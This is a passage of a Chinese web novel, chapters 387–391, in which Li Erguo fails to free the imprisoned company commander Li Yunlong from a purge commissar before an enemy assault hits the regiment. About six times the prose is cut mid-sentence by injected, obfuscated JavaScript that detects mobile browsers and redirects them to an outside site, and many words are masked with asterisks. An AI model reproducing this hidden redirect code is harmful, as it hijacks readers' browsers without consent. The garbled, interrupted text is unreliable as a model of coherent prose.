柱子和张大彪是老乡,两人平时虽然不是很熟悉,但私下也有一些交情,加上张大彪是副连长,柱子对张大彪还是非常客气。 柱子接过烟,张大彪擦了一根火柴给他点燃。 柱子吸了一口,徐徐吐出烟雾。 他看了看张大彪身后的李二狗,问道:“这位同志看着有些眼生?是新来的吧?” 李二狗还未说话,张大彪急忙解释道:“他来我们连快一个月了,打仗很勇敢,李连长很欣赏他。” 红军现在处于快速扩张期,每天都有成千上万的人加入,柱子听张大彪这么一解释,心里并没有多想。 他低声说道:“张连长,我知道你来团部干什么?是为了李连长的事吧?” “柱子,咱俩是老乡,我也不想瞒你,确实是为了我们连长的事,他现在怎么样?” “张连长,我劝你还是不要管这事,团长为了李连长的事,和特派员争吵了几句,现在也被关了禁闭。” 张大彪没想到段团长都被特派员关了禁闭,李云龙确实危在旦夕。 “特派员连团长都敢关起来,他的胆子未免也太大了吧?” 张大彪的话吓得柱子赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286339|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 回头看看有没有被其他人听到,好在并没有其他人。 “张连长,这话可不敢乱说啊,如今特派员就是钦差大臣,别说团长了,师长他都不放在眼里。” “难道我们就眼睁睁看着特派员在团里胡作非为吗?再这样下去,咱们团快**光了!” “哎呀,张连长,你可千万不要乱说,特派员是带着上级文件下来的,政委都管不了,我看你还是别管了。” “哎,李连长待我不薄,我还是想见他一面。柱子,你知道李连长被关在什么地方吗?” “张连长,特派员下了命令,任何人不许探视,你还是别触这个霉头了。” “哪怕受个处分,我也要见见李连长,柱子,咱们是兄弟,你告诉我,我保证不告诉别人。” 柱子又警惕地向身后瞅了瞅,小声说道:“你们李连长被关在团指挥部后面的柴房里,你可千万别和别人说是我告诉你的。” 张大彪说道:“放心吧,柱子,我不会向任何人说的,现在我去求求周政委,或许他有办法。” “周政委……,哎,”柱子欲言又止,“张连长,那你快去吧,再晚了周政委就睡了。” 告别柱子,张大彪和李二狗一起进了村。 “张连长,你们团部这么重要的地方,这一路上只有柱子一个警卫?这未免太儿戏了吧?” “进了村子里面,还有一道岗哨,另外,”张大彪刻意压低声音,“这一路上至少还有二个暗哨,没有异常情况,他们不会现身的。” 这和李二狗判断的一样,确实有暗哨。 进了村,果然还有一道岗哨,站岗的也认识张大彪。 李云龙是团里最能打仗的连长,团里的人几乎没有不认识他的,捎带着张大彪在团里也有了一定的名声。 两人来到指挥部门口。 “李先生,我去找政委谈谈,看看他有没有什么办法,你在这里等我,千万别乱走。” 李二狗说道:“你放心去吧,我心里有数。” 张大彪去了周政委屋里,李二狗微微一笑,消失在夜色中。 第387章 我不想当“叛徒” 李二狗从一开始起就没打算和张大彪一起救人。 张大彪虽然勇猛,但此人头脑简单且容易激动,既然准备智取,李二狗觉得自己一个人足够了。 他悄然来到指挥部后面,发现在一个房间门口有一名士兵正在站岗,很显然,里面肯定关着人,很可能就是关押李云龙的柴房。 门口站岗的士兵正靠在墙上打瞌睡,李二狗并不想通过前门进入,便绕到屋后想办法。 很遗憾,屋后是一面墙,并没有留窗户。 李二狗只能再次回到原地,既然后面进不去,只能从前面进入了。 李二狗深吸一口气,顿时有了一个主意。 他刻意压低帽檐,背着老套筒阔步走向柴房门口。 刚要接近,正倚在墙上打瞌睡的士兵马上醒了过来。 “谁?” “是我,特派员让我来替你站岗。” “特派员?” 士兵听到特派员的名字不禁打个冷战。 “刚才特派员经过,看见你在打瞌睡……” 李二狗话未说完,士兵已经吓得瑟瑟发抖。 “我……我没有打瞌睡,我刚才就是闭了一下眼睛,其实我很清醒。” 李二狗笑着上前拍了拍士兵的肩膀,安慰道:“小同志,你不要紧张,其实我们特派员是一个很体恤下情的人,平时对我们可好了,他也是看你辛苦,所以才派我来替你站一会儿岗,你先回屋睡会吧,一个小时之后再来替我,你也知道,特派员那里也离不开人。” 士兵听后感动不已,他没想到白天杀伐果断的特派员竟如此关心下属。 “谢谢特派员,谢谢特派员,其实我可以坚持……” “哎,特派员都已经下达命令,咱们可不好违抗,你快回去睡会吧,记住了,以后站岗的时候可不能再打瞌睡了,明白吗?” 士兵吓得连声应诺。 “还有,”李二狗刻意压低声音嘱咐道,“特派员不想让你受惩罚,所以今晚的事千万不要告诉任何人,明白吗?省得让别人说特派员违反原则。” 士兵感动的泪流满面。 “谢谢特派员,谢谢特派员。” “好了,”李二狗再次拍了拍士兵的肩膀,“别哭了,快回去吧,一个小时之后再回来。” 士兵抹着眼泪走了,李二狗打开房门,走进柴房。 屋内漆黑一片,李云龙在里面早就听到门外的说话声,他第一时间听出这是李二狗的声音。 “二狗兄弟,是你吗?” 李二狗既惊又喜,连忙说道:“云龙兄,是我,你还好吗?我来救你了。” 李云龙万万没想到李二狗会冒着生命危险来救自己。 “二狗兄弟,我没事,让你担心了。” 李二狗没敢点灯,他顺着声音的方向找到李云龙,发现他身上绑着一根很粗的绳索。 “云龙兄,我救你出去。” 李二狗说着就要解开李云龙身上的绳子,被李云龙阻止了。 “二狗兄弟,你先别动。” “云龙兄,有什么话咱们先出去再说。” 李二狗再次去解李云龙身上的绳子,又被李云龙阻止了。 “二狗兄弟,你先听我说。” 李二狗不知道李云龙到底要说什么,有什么话不能先出去再说,但李云龙不配合,他也解不开绳子。 “云龙兄,你有什么话快点说吧。” “二狗兄弟,谢谢你的好意,但我不能跟你走。” 李二狗以为李云龙被吓傻了,在说什么胡话。 “云龙兄,明天他们就要**你了,你不走,难道在这里等死吗?” 李云龙微微一笑,说道:“我知道,他们已经告诉我了,但我还是不能走。” 李二狗几乎带着哭腔说道:“他们都要杀你了,你为什么还不走?不走就得死!” “二狗兄弟,我是一名**党员,也是一名红军指挥官,我要这样走了,我就是党和红军的叛徒,我宁可死,也不能被人说是叛徒。” “叛徒?云龙兄,这都什么时候了?还是先保命要紧。” “我相信组织相信党,他们一定会还我一个公道的。” 李二狗失声嚷道:“人都**,公道还有个屁用?你现在必须跟我走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286340|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 他说着又要去解李云龙身上的绳子,还是被李云龙阻止了。 “二狗兄弟,有些事情远比生命更加重要,我真的不能走。” 李二狗知道李云龙是个倔种,但没想到他如此倔强,倔强到连自己的性命都不要了。 “云龙兄,咱们还是先出去再从长计议吧,我听说你们段团长都被抓起来了,你现在留下来只有死路一条,俗话说的好,好死不如赖活着,只要咱们活着,以后有的是机会解释清楚的。” 李云龙微微一笑,淡定地说道:“可我现在逃跑了,我就是党的叛徒啊,二狗兄弟,自从我加入党的那天起,我就没想过当叛徒,我已经准备好随时为党的**事业献出自己的生命。” 黑暗之中,李二狗感觉李云龙身上在闪闪发光,这个人已经魔怔了。 “云龙兄,你可要想清楚啊,你是被**,可不是献身啊。” 李云龙听到“**”二字,内心不免一阵颤抖。 没有人不怕死,更何况是被自己的同志**。 可今晚他一旦逃走,将永无再回**队伍的可能,而他党员的身份也会被开除,自己将以“叛徒”的身份被永远钉在历史的耻辱柱上。 “二狗兄弟,你快走吧,我不想连累你。” “我竟然来就不怕被你连累!你还是跟我走吧,天下之大,有的是给你建功立业的地方。” 李云龙不再犹豫,他斩钉截铁地说道:“二狗兄弟,天下是很大,但我不能一直活在愧疚之中,明天早上我会据理力争,我就不信,特派员会在无凭无据的情况下**我。” 看李云龙如此坚决,李二狗也不好再勉强。 “云龙兄,你真的决定了吗?” “我意已决,二狗兄弟,你快走吧,赶紧离开黄安,我不想连累你。” 李二狗不明白到底是什么样的信仰能让李云龙在面临生死抉择时依然保持毫无畏惧。 “云龙兄,保重。” 李二狗抱住被反绑双手的李云龙,眼泪忍不住流了下来。 “二狗兄弟,保重!” 李二狗刚出房门,一把枪已经顶在他的脑袋上。 第388章 明天一起** “张连长,别开枪,是我。” 李二狗看清**之人是张大彪,赶紧表明自己身份。 张大彪之前去找政委周天放求情,没想到周天放是一个老学究,他认为特派员是上级派下来开展肃反工作的,自己作为一名老党员必须无条件配合他的工作,否则就是对**事业的背叛。 张大彪都给他跪下了,可他还是不为所动。 张大彪从周天放屋里出来,并没有看到李二狗。 他以为李二狗害怕,吓得已经离开了。 “胆小鬼!” 张大彪骂了几句,便悄悄摸到指挥部后面的柴房门口,不仅没看到门口的警卫,还看到一个人从屋里面走出来,情境之下,他拔枪指向了刚刚出来的李二狗。 “李先生,怎么是你?我们连长在哪?” “他在里面,可他不打算跟我们走!” “什么?不走?”张大彪冲进屋里,“连长,他们要**你,你怎么还不走?” 说着就冲向李云龙,动手要解开李云龙身上的绳子。 李云龙扭动着身子,阻止张大彪给自己解绳子。 “大彪,你先听我说。” “连长,来不及了,我们先出去再说。” “大彪,你听我说,我现在不是被****派关押,我是被上级派来的特派员下令关押的,他代表的是上级组织,我如果这个时候逃走,我就是党的叛徒!” “连长,都这时候还是先活命要紧。” “大彪,我们要相信党相信组织,我是不会走的,你们赶紧离开这里。” “连长,你不走,我也不走,我陪你一起死!” 张大彪驴脾气上来了,干脆坐在了李云龙身边。 “张大彪,你**少在老子面前犯浑,赶紧起来给我滚,老子还用得着你救吗?敢杀老子的人还没从娘胎里生出来呢。” 李云龙心里担心会连累李二狗,张大彪不走,李二狗怎好意思离开。 张大彪七尺高的汉子,哭得和个娘们似的。 “连长,你不能死啊!我不让你死!” “快滚!再不滚,老子一脚踢死你!滚!” 张大彪只能哭哭啼啼地从地上爬起来。 “连长……” “快给老子滚!” 张大彪知道李云龙的脾气,他一旦决定的事情就是八匹马也拉不回来。 “连长,你保重!” 李云龙闭上眼睛,心里默念道:“大彪兄弟,谢谢你!” 张大彪和李二狗刚走出柴门,立马被一群人**包围了。 特派员从人群中走出,大声呵斥道:“你们好大的胆子,竟敢来劫狱!来人,把这两个人给我绑了,明天和李云龙一起**!” 李二狗攥紧了拳头,可也此刻不敢轻举妄动,因为有十几条枪正对着自己。 他本就不想让张大彪参与,怕他耽误事,没想到最后还是被他耽误了。 人倒起霉来,喝凉水都塞牙。 “特派员,您听我解释,我们只是来看一看李连长,并没有想劫狱。” 特派员扶了扶鼻翼上的黑框近视镜,冷笑道:“你当我是三岁小孩吗?深更半夜来到这里,不是劫狱难道是探监?” “对对对,我们就是来探监的!” “张大彪!你好大的胆子,劫狱不成还狡辩,我看你就是潜伏在**队伍中的反**分子,你们还愣着干什么,把他们给我绑了!” 几个士兵赶紧上前,把张大彪和李二狗绑了个结实。 李云龙在屋内听到动静,大声嚷道:“特派员,他们真的不是来劫狱的,不信你看我身上的绳子,还一直绑着呢。” “李云龙,你就不要强词夺理了,要不是我带人及时赶到,想必现在你早已逃之夭夭了。” “姓刘的,你这个王八蛋,你可以**老子,但不能冤枉老子,你快放了他们,要杀要剐冲老子来! “李云龙啊李云龙,你都死到临头了还这么嘴硬,我倒要看看明天早上看是你的嘴硬还是我的**硬!来人,把他们都关起来,多派几个人看好,再有闪失,军法处置!” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290736|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 二狗和张大彪被五花大绑之后扔进了柴房里。 “特派员,刚才那个站岗的士兵怎么处置?” “一看就是反**分子,明天和他们一起**!” 听了特派员的话,李二狗震惊得半天没有缓过神来。 “二狗兄弟,是我连累了你啊。”李云龙叹息道。 李二狗不想死,梦瑶还在家里眼巴巴地等着他,还有那么多爱他的女人等着他,他怎能就这样死去?! 可事到如今,他绝不能装孬种。 “云龙兄,黄泉路上,咱们兄弟几人做伴也不会感到孤单!” 张大彪痛哭道:“连长,是我害了你们。” “好了,别他娘嚎了,**不过碗大个疤,没什么了不起的。” “可……可这样死也太**窝囊了!” 听了张大彪的话,大家都沉默了! 被**的人,只会被钉在历史的耻辱柱上! “云龙兄,他们到底为什么抓你?” 李二狗很想知道其中的缘由,死也要死个明白。 李云龙长叹一声,骂道:“这个**特派员心眼忒小,我就在会上说了一句二营长杀得有点冤,他就认定我和二营长是一伙的,说我也是反**,我**上哪讲理去?二营长那人我了解,就是脾气急点,他怎么可能是反**呢?” “就因为你在会上说了一句话,就把你抓起来要**,这也太令人匪夷所思了吧?这个特派员怎么权力这么大?难道他是你们上级领导的小舅子啊?” “二狗兄弟,可不能这么说,我相信上级领导一定不知道他做得这些事!” 李云龙这样认为,李二狗却不这样认为,他内心暗自庆幸没有答应加入他们。 可自己没加入,明天不一样被**吗? 此刻,李二狗很担心宋小曼的安危,她会不会也被认为是反**而被抓起来**呢? 她以前可是地主家的姨太太啊! 李二狗就是这样一个人,虽然自己已经朝不保夕,可对于他爱的女人却总是记挂在心。 第389章 一切都是命中注定 李云龙等人明天就要被**了,三个人嘴上说着毫无畏惧,其实内心还是十分恐惧。 没有人不怕死! 何况还是被自己的同志当成反**分子**! 黑夜十分漫长,同时又特别短暂。 突然,一声鸡鸣彻底打破了夜的宁静,紧接着就是此起彼伏的打鸣声。 “二狗兄弟,昨晚睡得怎么样?”李云龙故作轻松地问道。 李二狗一夜未睡,他知道李云龙肯定也是一夜未睡,因为夜里自己根本没有听见他的呼噜声。 “特别香甜,”李二狗同样表现的很轻松,“我还做了一个美梦,哈哈。” “哈哈,二狗兄弟,你不会是在梦里娶了个俊俏媳妇吧?亲嘴没?” “亲嘴?”李二狗故作神秘状,“该做的都做了,哈哈。” “哈哈,”李云龙陪着李二狗大笑起来,突然,他神色一暗,“二狗兄弟,如果有来生,我们还做好兄弟。” “好,一言为定!” 这时,房门打开了,一个战士端着饭菜走了进来。 大家都知道这是断头饭。 “李连长,这是周政委特意吩咐的,让你们吃饱点,好上路。” 李云龙看了看饭菜,大声嚷道:“替我们谢谢周政委,可是断头饭怎么能没酒呢?赶紧去给老子拿瓶好酒来。” 这名战士有些为难地说道:“李连长,你这……” “快去拿!我们都是要死的人了,一瓶酒还舍不得?” 战士没法,只能放下饭菜走了出去。 不一会儿,他就拿着一瓶酒走了进来。 李云龙见到酒,脸上立即绽放出满意的笑容。 “周政委虽然胆子小点,但人还不孬,我就知道他会答应。” 战士放下酒,把三个人身上的绳子解开。 “李连长,我们就在外边守着,你们赶紧吃吧!” 李二狗看了看门外,有四名荷枪实弹的战士严阵以待,很显然,他们已经做好了万全的准备。 李云龙根本不管这样,他起身活动活动了全身筋骨,然后拿过酒瓶,用牙咬开瓶盖,凑近闻了闻。 “这老汾酒的味道可真香啊,周政委对咱老李还真大方!” 张大彪问道:“连长,这没有酒杯,咱们怎么喝?” “大彪,你**可真是榆木脑袋,这不有碗吗?用碗喝。” 张大彪嘿嘿一笑,从李云龙手里接过酒瓶,倒了三碗酒。 三个人端起酒碗,李云龙说道:“虽然断头酒不好喝,但我还是要敬二位兄弟,是我李云龙连累了你们,我李云龙对不起你们,下辈子我一定做牛做马来报答二位兄弟对我的这番情谊。” “云龙兄,千万别这么说,虽然咱们兄弟三人不能同年同月同日生,但能同年同月同日死也是一种缘分,一切都是命中注定!” “对,这就是命中注定,连长,我不后悔!”张大彪大声附和道。 李云龙已经热泪盈眶。 “我李云龙这辈子有二位这样的好兄弟,值了,来,干了!” 三个人一碰碗,一饮而尽。 “大彪,倒酒!”李云龙意犹未尽地嚷道。 张大彪看了看空酒瓶,“连长,没酒了。” “**,都要**了,连个酒都不让喝痛快!” 李云龙一脚踢翻饭菜,走出房门,门外的士兵立刻警惕起来,他们都知道李云龙是一个不按常理出牌的人。 “快去给老子再拿两瓶好酒来,都他娘要**了,还这么抠抠搜搜的,快去!” 李云龙虽然在团里是有名的暴脾气,还是一名连长,但他现在只是一个马上就要被**的反**分子,大家虽然不愿意和他计较,但也没必要事事依着他。 李云龙说完之后,大家面面相觑,都没有动! 李云龙见状,直接冲出屋子,就要向外边走去。 “李连长,你……你要干什么?”一名战士结结巴巴地问道。 “让开!你们不去,老子自己去拿,快让开!” 这时,两个战士举起枪对准了李云龙,他们是特派员带来的战士。 “李连长,请你马上回去!” 李云龙怒视道:“老子不回去,你们能怎么样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290737|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ?敢开枪吗?**都没扎齐!滚开!” 两名战士的内心怀揣着坚定的**理想,他们深知对李云龙这种反**分子的仁慈就是对自己同志的残忍。 他们毫不犹豫地拉动**,“咔嚓”两声,**已经上膛。 “如果你再向前一步,就别怪我们开枪了!” 李云龙一个马上要被**的人,他怎会被两个乳臭未干的小兵蛋子唬住。 他步步紧逼,一把抓起**的枪口,对准自己的胸口,大喝一声:“有本事你朝老子这里打!” 这名战士被李云龙突如其来的举动吓得双手颤抖,手里的**也跟着颤抖起来。 李二狗担心战士一紧张擦枪走火,赶紧上前拉住李云龙。 “云龙兄,何必和他们计较这些,他们也是奉命行事,我们还是回去吧。” “**,一个乳臭未干的小子竟敢威胁老子,也不去打听打听,我李云龙怕过谁?” 李二狗赶紧把李云龙拽回屋里。 饭菜已经被李云龙一脚踢翻,三个人只能空着肚子干瞪眼,等待随时被拉出去**。 这种等待的过程无疑是煎熬的。 一个小时过去了,外边毫无动静! 又一个小时过去了,外边还是毫无动静! “**,要**就快点,怎么这么磨叽!” 李云龙终于按耐不住,他站身起来,一脚踢在房门上。 外边站岗的战士都知道李云龙的脾气,没有人搭理他。 见没人搭理自己,李云龙更加生气了,他“砰砰砰”砸着房门。 “开门,给老子开门,到底什么时候**老子,快给老子一个痛快话!” 外边依然没有动静。 李云龙又朝房门上踢了两脚。 “云龙兄,既来之,则安之,咱们还是耐心等待吧!” “姓刘的这**,他就是故意的,就是让咱们在这里受折磨,这读书人真**狠,一肚子坏水。” 正当李云龙谩骂抱怨之时,外边突然传来一声枪响。 李云龙听到**,精神立刻变得紧张起来。 第390章 你为什么一定要置李云龙于死地? “哪里在打枪?” 李二狗和张大彪对视一眼,不知道该怎么回答李云龙。 李云龙再次起身走到房门前,房门外面已经上锁,李云龙用力拍打着门板,大声问道:“外边发生了什么?怎么会有枪响?” 一个小战士不想听李云龙骂人,便低声说道:“李连长,你别吵了,刚刚是团长被特派员下令**了!” 李云龙一个趔趄,瘫坐在地上。 “连长,你没事吧?”张大彪急忙上前扶住李云龙。 李云龙胸口剧烈起伏着,脸上的肌肉抖动的厉害,仿佛整个身体都在颤抖。 张大彪吓得脸都白了,失声道:“连长,你倒是说话啊?” 李云龙没想到段大德只是为自己说了几句求情的话就被特派员刘****了。 段天德对他有知遇之恩,他不仅没来得及报答他,反而害他丢了性命。 李云龙怎能接受这个现实?! “**,老子要宰了刘**这个王八蛋!” 李云龙说完就从地上爬起来,冲向房门口。 他用力地晃动着房门,大声嚷道:“快放老子出去,老子要宰了刘**这个王八蛋,他刘**才是真正的反**分子。” 李云龙力大无穷,房门很快被他晃动的摇摇欲坠。 突然,房门被从外边打开了。 “把他们绑起来!”一个戴着眼镜的男人命令道。 随着他一声令下,六个战士鱼贯而入,把李云龙等三人五花大绑之后推倒在墙角。 “给我老老实实在这里待着,该**的时候会叫你们的。” 李云龙刚要骂人,嘴里已经被塞上了缠脚布,他呜呜地表达着**,可根本没人搭理他。 “看好他们,出了事,军法从事!” 李云龙嘴里“呜呜”了一会儿,也就彻底安静了。 “砰!” 又是一声枪响。 十分钟之后,又是“砰”的一声枪响。 每一次**响起,李二狗心里都“咯噔”一下,这种等待被**的滋味实在是太难熬了。 “轰轰轰……” 突然外边传来一阵**声,李二狗第一时间听出这是迫击炮的声音。 只是**人怎么会有迫击炮的声音? 难道要**? 这他娘也忒狠了! 接着又是“轰轰轰”几声,紧接着便是轻重**的声音。 外边顿时变得混乱起来,门口守卫的战士全部跑出了院外。 作战经验丰富的李云龙意识到,应该是团部遭到了敌人的袭击。 他想站起来,可双脚却被牢牢捆住,想喊叫,嘴里却被塞住了缠脚布。 李云龙感到一种深深地无力感,他从地上向房门口挪去。 挪到房门口之后,他用身体撞击着房门,可一切都是徒劳的,门外早没有了人。 外边的枪炮声越来越近也越来越激烈。 “轰”的一声,有一颗迫击炮的炮弹落到门前的院子里。 **溅起的石屑纷纷打到房门上,屋顶的泥土被震得扑簌簌落了下来。 正在这时,外边传来一阵脚步声。 “快把房门打开!” “我们没有钥匙啊。” “砰”的一声枪响,房门打开了。 政委周天放走了进来。 “快把他们放开!” 两个战士向前把李云龙等人身上的绳子解开。 李云龙顾不上寒暄,直接问道:“政委,外边出什么事了?” “老李,团部被**包围了,特派员正在指挥警卫排拼死抵抗,你们……赶紧走吧。” 李二狗心想,团部危在旦夕,周天放肯定是来向李云龙求救的,可这个时候他又不好意思直接说出来。 “走,我们出去看看。” “老李,你可要想清楚,你现在不走,即使打跑了**,你还是会被**!” 李云龙一听到枪炮声就激动,他哪里还顾得了这些! “政委,这都什么时候了,哪还有心思考虑这个,还是先把敌人打跑了再说。” 周天放对李云龙刮目相看。 团长段天德刚刚被刘**下令**,二营长、三营长前几天也被**了,就剩下一营长,还受伤住了院。 本来团里一共有六个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295501|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 连长,前几天已经被刘****了三个,今天又被**了一个。 如今李云龙又被关押在这里,剩下那一个连长早已吓得噤若寒蝉,他这时候哪里还有心思赶来救援,也许他心里巴不得团部被**消灭。 几个人来到村口的,刘**正在声嘶力竭地指挥着警卫排的战士抵抗。 他看到李云龙,先是一愣,随即怒道:“谁把李云龙放出来的?他是反**分子,怎么能把他放出来?” 刘**说着就要从腰间的枪套里掏枪,被张大彪一把攥住了手腕。 “哎吆!” 刘**忍不住惨叫一声。 “你们……你们要**吗?” 周天放命令道:“张大彪,你这是干什么?快点放开特派员!” 张大彪怒视着刘**,恨不得吃了他,又怎肯轻易放开他! “反了,反了,来人呐,快把这几个反**分子给我抓起来。” 刘**带来的两个人举枪瞄准了李云龙和张大彪,周天放张开双臂挡在李云龙身前。 “老周,你要干什么?包庇反**分子吗?快让开,不然我连你一起抓!”刘**威胁道。 周天放心知,现在除了李云龙,没人能带领大家打退敌人。 “特派员,我以自己的党性向你保证,李云龙绝不是反**分子!” 刘**没想到一向胆小怕事的周天放此时竟敢站出来为李云龙说话。 “老周,你知道你刚才说的什么吗?你在为一个反**分子求情!你还有党性吗?你现在把你刚才说的话收回,我可以当没听见!” “特派员,现在这里除了李云龙,没人能打退敌人!” “呵呵,难道咱们红军只有他李云龙会打仗吗?老周,你这是典型的个人英雄主义!” 周天放忍不住脱口而出:“你为什么一定要置李云龙于死地?” 周天放说出这句话,大家都沉默了,这也是李云龙最想知道的。 自己和刘**之间并没有深仇大恨,他为什么一定要置自己于死地? 这是刘**心底的一个秘密,周天放此话一出,仿佛揭穿了他心底的这个秘密。 第391章 真是个废物 刘**怒斥道:“周天放,你知道你在说什么吗?**李云龙是因为他是反**分子,和其他无关!我这样做完全是为了维护我们党的纯洁性,是为了我们的**能最终取得胜利!” 刘**慷慨激昂的一番陈词除了他自己,没有人信他。 “还愣着干什么?快把李云龙他们给我押下去!” “轰轰轰……” 几发炮弹在附不远处**,七八个红军战士倒在血泊里。 李云龙见状,大声喊道:“快让战士们撤到村里去,把人集中在这里都成敌人的活靶子了!” “李云龙,你给我闭嘴!我们是英勇无敌的红军战士,我们绝不做懦夫!敌人都已经打到我们家门口了,我们哪有后退的道理!后退是可耻的!” 紧接着又有两发炮弹打到战士们中间,又有四五名战士倒在血泊中。 “刘**,你……你这样会害死他们的!” “李云龙,这里还轮不到你指挥,**哪有不流血牺牲的?只要能消灭敌人,再多的牺牲也是值得的!来人,把李云龙给我押下去!” 两名战士刚要上前,两发迫击炮的炮弹带着响亮的哨声呼啸而来,直奔刘**。 “快卧倒!” 李云龙一个箭步冲上去,把刘**紧紧压在自己身下。 炮弹在不到李云龙两米处**,刘**带来的两名战士当场被炸的稀碎,一条满是血污的胳膊跌落在趴在地上的刘**眼前,他一抬眼,立刻吓呆了! 刘**是一名大学生,他参加**后一直在后方从事组织人事工作,根本就没有上过战场。 他一直以为自己能文能武,之前之所以没有上前线指挥打仗,完全是因为**分工不同。 可如今眼前的一幕才让他彻底感受到战场的残酷! 他呕了,吐了一大滩! “真是个废物!” 李云龙从刘**身上站起来,刘**兀自趴在地上呕吐不止。 “政委,敌人人多,火力又猛,我们这几十号人要是都放在这里打阻击恐怕撑不过半个时辰,我建议咱们主动退到村里,利用地形和他们周旋,先撑到晚上,再想办法突围。” “好,老李,就按你说的办。” 李云龙大声命令道:“所有人,听我命令,五分钟之后全部退到村子里。” 然后他转头看向张大彪。 “大彪,你马上带人在村口埋设**,记住,等战士们撤回村子后在挂弦。” 张大彪领命而去,这时候刘**已经从地上爬了起来。 他擦了擦嘴上的残渣,又恢复了往日的神气。 “李云龙,你有什么资格指挥部队?别忘了,你现在是一名等待被**的反**分子。” 李云龙根本不想搭理他。 “把特派员带下去,保护好他,别让他再吐了!” 两个战士不顾刘**的**,架着刘**向村子里撤去。 “李云龙,你要**吗?快放开我!” 五分钟之后,大家交替掩护,全部退回到村子里。 敌人追击过来,踩中张大彪刚刚带人埋设的**。 他们担心前方还有**,便停止了进攻,红军获得了短暂的喘息之机。 “政委,现在村子已经被敌人包围了,现在各营各连都没有军事主官,整个队伍人心惶惶,估计也不会有援兵来救我们。” 周天放忍不住叹息一声,队伍造成如今的困境,他作为政委,负有不可推卸的责任。 “老李啊,我有责任,其实我一直相信你对**的忠诚,还有团长,可我……哎……” 周天放确实有责任,可李云龙又觉得这不是周天放的责任,到底是谁的责任,李云龙心里也搞不清楚。 是刘**的责任吗?好像也不是他的责任,因为他是上级组织派来负责开展这项运动的! “政委,现在不是追究责任的时候,我们还是先冲出敌人的包围圈再说吧。” “老李,你有什么主意?” “政委,咱们这个村子现在已经被敌人包围了,我建议咱们从东面突围出去,村子东面离大山不到两里路,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295502|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 要咱们进了大山就安全了。” “两里路?”周天放在权衡着,“两里路跑到快也需要三四分钟,敌人的**迫击炮可是不长眼啊,我看还是拖到天黑在行动吧。” 李云龙知道这三四分钟是生死存亡的时刻,也知道夜晚行动更加有利,但他不能不考虑村民的安危。 “政委,村民还没来得及撤离,如果我们再拖着不走,恐怕整个村子的老百姓都会跟着遭殃。” “你说得对,我们不能连累老百姓,那我们就从东面突围出去。” 李云龙命令张大彪清点人数,只剩下三十五人。 “二狗兄弟呢?”李云龙突然问道。 “这半天我没见到他啊。” 